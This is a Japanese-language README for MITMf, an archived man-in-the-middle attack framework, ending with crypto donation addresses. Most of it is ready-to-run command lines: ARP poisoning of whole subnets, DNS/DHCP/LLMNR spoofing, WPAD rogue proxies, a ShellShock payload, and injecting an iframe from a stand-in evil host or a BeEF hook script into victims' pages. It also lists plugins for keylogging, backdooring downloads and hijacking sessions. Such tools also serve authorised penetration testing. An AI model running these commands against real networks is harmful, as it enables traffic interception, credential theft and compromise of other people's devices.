中間者攻撃のフレームワーク
このプロジェクトは更新されなくなりました。 MITMf は、当時、中間者攻撃を実行するための最新ツールの必要性に対処するために作成されました。それ以来、このスペースを埋めるために他の多くのツールが作成されてきましたが、機能がはるかに充実しており、保守性も優れているため、おそらく Bettercap を使用する必要があります。
簡単なチュートリアル、例、開発者の最新情報: https://byt3bl33d3r.github.io
このツールは sergio-proxy に基づいており、プロジェクトを復活させて更新する試みです。
連絡先:
Twitter: @byt3bl33d3r
フリーノード上の IRC: #MITMf
電子メール: [email protected]
問題を送信する前に、Wiki の関連セクションをお読みください。
インストール手順については wiki を参照してください
MITMf は、既存の攻撃や手法を更新および改善しながら、中間者攻撃およびネットワーク攻撃に対するワンストップ ショップを提供することを目指しています。
元々は他のツール (Ettercap、Mallory など) の重大な欠点に対処するために構築されましたが、誰もが独自の MITM 攻撃を実装するために使用できるモジュール式で簡単に拡張可能なフレームワークを提供するために、ほぼ完全にスクラッチから書き直されました。
このフレームワークには、さまざまなプラグインによって制御および使用できる組み込みの SMB、HTTP、および DNS サーバーが含まれています。また、HTTP の変更と部分的な HSTS バイパスを可能にする SSLStrip プロキシの修正バージョンも含まれています。
バージョン 0.9.8 の時点で、MITMf はアクティブなパケット フィルタリングと操作 (基本的には etterfilters が行っていたことですが、それが改良されているだけ) をサポートしており、ユーザーはあらゆるタイプのトラフィックやプロトコルを変更できます。
構成ファイルは MITMf の実行中にオンザフライで編集でき、変更はフレームワークを通じて受け渡されます。これにより、攻撃の実行中にプラグインやサーバーの設定を微調整することができます。
MITMf は、Net-Creds を使用して、FTP、IRC、POP、IMAP、Telnet、SMTP、SNMP (コミュニティ ストリング)、NTLMv1/v2 (HTTP、SMB、LDAP などのサポートされているすべてのプロトコル)、および Kerberos 認証情報をキャプチャします。起動する。
レスポンダーの統合により、LLMNR、NBT-NS、MDNS ポイズニングと WPAD 不正サーバーのサポートが可能になります。
Scapy を使用して、MITMf によって傍受されたパケット/プロトコルを変更できるようになりました。 (もうフィルターは必要ありません! やったー!)
たとえば、ICMP パケットの宛先 IP アドレスを変更するだけの愚かな小さなフィルターを次に示します。
if packet.haslayer(ICMP): log.info('ICMP パケットを取得しました!') packet.dst = '192.168.1.0'
Scapy 互換形式でパケットにアクセスするには、 packet
変数を使用します。
data
変数を使用して生のパケット データにアクセスします
フィルターを使用するために必要なのは、 python mitmf.py -F ~/filter.py
だけです。
おそらく、これをSpoofプラグインと組み合わせて、実際に他の人からのパケットを傍受したいと思うでしょう ;)
注: MITMf を再起動しなくても、その場でフィルターを変更できます。
最も基本的な使用法では、インターフェイス enp3s0 で HTTP プロキシ SMB、DNS、HTTP サーバー、および Net-Creds を開始します。
python mitmf.py -i enp3s0
ARP は、 Spoofプラグインを使用して、192.168.1.1 のゲートウェイを持つサブネット全体をポイズニングします。
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1
上記と同じ + Responderプラグインを使用した WPAD 不正プロキシ サーバー:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --responder --wpad
ゲートウェイが 192.168.1.1 の ARP ポイズン 192.168.1.16-45 および 192.168.0.1/24:
python mitmf.py -i enp3s0 --spoof --arp --target 192.168.2.16-45,192.168.0.1/24 --gateway 192.168.1.1
ARP ポイズニング中に DNS スプーフィングを有効にします (スプーフィングするドメインは構成ファイルから取得されます)。
python mitmf.py -i enp3s0 --spoof --dns --arp --target 192.168.1.0/24 --gateway 192.168.1.1
LLMNR/NBTNS/MDNS スプーフィングを有効にします。
python mitmf.py -i enp3s0 --responder --wredir --nbtns
DHCP スプーフィングを有効にします (IP プールとサブネットは構成ファイルから取得されます)。
python mitmf.py -i enp3s0 --spoof --dhcp
いずれかのクライアントが脆弱な場合に実行される ShellShock ペイロードについては上記と同じです。
python mitmf.py -i enp3s0 --spoof --dhcp --shellshock 'echo 0wn3d'
Injectプラグインを使用して HTML IFrame を挿入します。
python mitmf.py -i enp3s0 --inject --html-url http://some-evil-website.com
JS スクリプトを挿入します。
python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js
すべてを http://SERVER/PATH にリダイレクトするキャプティブ ポータルを開始します。
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portalurl http://SERVER/PATH
デフォルト ページ /portal.html (thx レスポンダー) と config/captive フォルダーの /CaptiveClient.exe (含まれていません) を使用して、http://your-ip/portal.html でキャプティブ ポータルを起動します。
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive
上記と同じですが、IP ではなくホスト名 captive.portal を使用します (DNS スプーフィングなどを介して IP に解決するには captive.portal が必要です)。
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --use-dns
http://IP:8080 で LOCALDIR を提供する追加の SimpleHTTPServer インスタンスを使用してキャプティブ ポータルを提供します (mitmf.config でポートを変更します)。
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portaldir LOCALDIR
上記と同じですが、ホスト名は次のとおりです。
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --portaldir LOCALDIR --use-dns
そしてそれ以上に!
もちろん、ほぼすべてのプラグインを組み合わせて組み合わせることができます (例: ARP スプーフィング + インジェクト + レスポンダーなど)。
利用可能なオプションの完全なリストを表示するには、 python mitmf.py --help
を実行してください。
HTA Drive-By : 偽の更新通知を挿入し、クライアントに HTA アプリケーションをダウンロードするよう促します
SMBTrap : 接続されたクライアントの「SMB トラップ」脆弱性を悪用します。
ScreenShotter : HTML5 Canvas を使用してクライアントのブラウザの正確なスクリーンショットをレンダリングします。
レスポンダー: LLMNR、NBT-NS、WPAD、MDNS ポイズナー
SSLstrip+ : HSTS を部分的にバイパスします
スプーフ: ARP、ICMP、DHCP、または DNS スプーフィングを使用してトラフィックをリダイレクトします
BeEFAutorun : クライアントの OS またはブラウザの種類に基づいて BeEF モジュールを自動実行します
AppCachePoison : HTML5 アプリキャッシュ ポイズニング攻撃を実行します。
Ferret-NG : クライアントセッションを透過的にハイジャックします
BrowserProfiler : 接続されているクライアントのすべてのブラウザ プラグインを列挙しようとします。
FilePwn : バックドア ファクトリと BDPFroxy を使用して HTTP 経由で送信されるバックドア実行可能ファイル
Inject : HTML コンテンツに任意のコンテンツを挿入します。
BrowserSniper : 古いブラウザ プラグインを使用するクライアントに対してドライブバイ攻撃を実行します。
JSkeylogger : Javascript キーロガーをクライアントの Web ページに挿入します。
Replace : HTMLコンテンツ内の任意のコンテンツを置換します。
SMBAuth : SMB チャレンジ/レスポンス認証試行を呼び出す
Upsidedowninternet : 画像を 180 度反転します
Captive : キャプティブ ポータルを作成し、302 を使用して HTTP リクエストをリダイレクトします。
BTC: 1ER8rRE6NTZ7RHN88zc6JY87LvtyuRUJGU
ETH: 0x91d9aDCf8B91f55BCBF0841616A01BeE551E90ee
LTC: LLMa2bsvXbgBGnnBwiXYazsj7Uz6zRe4fr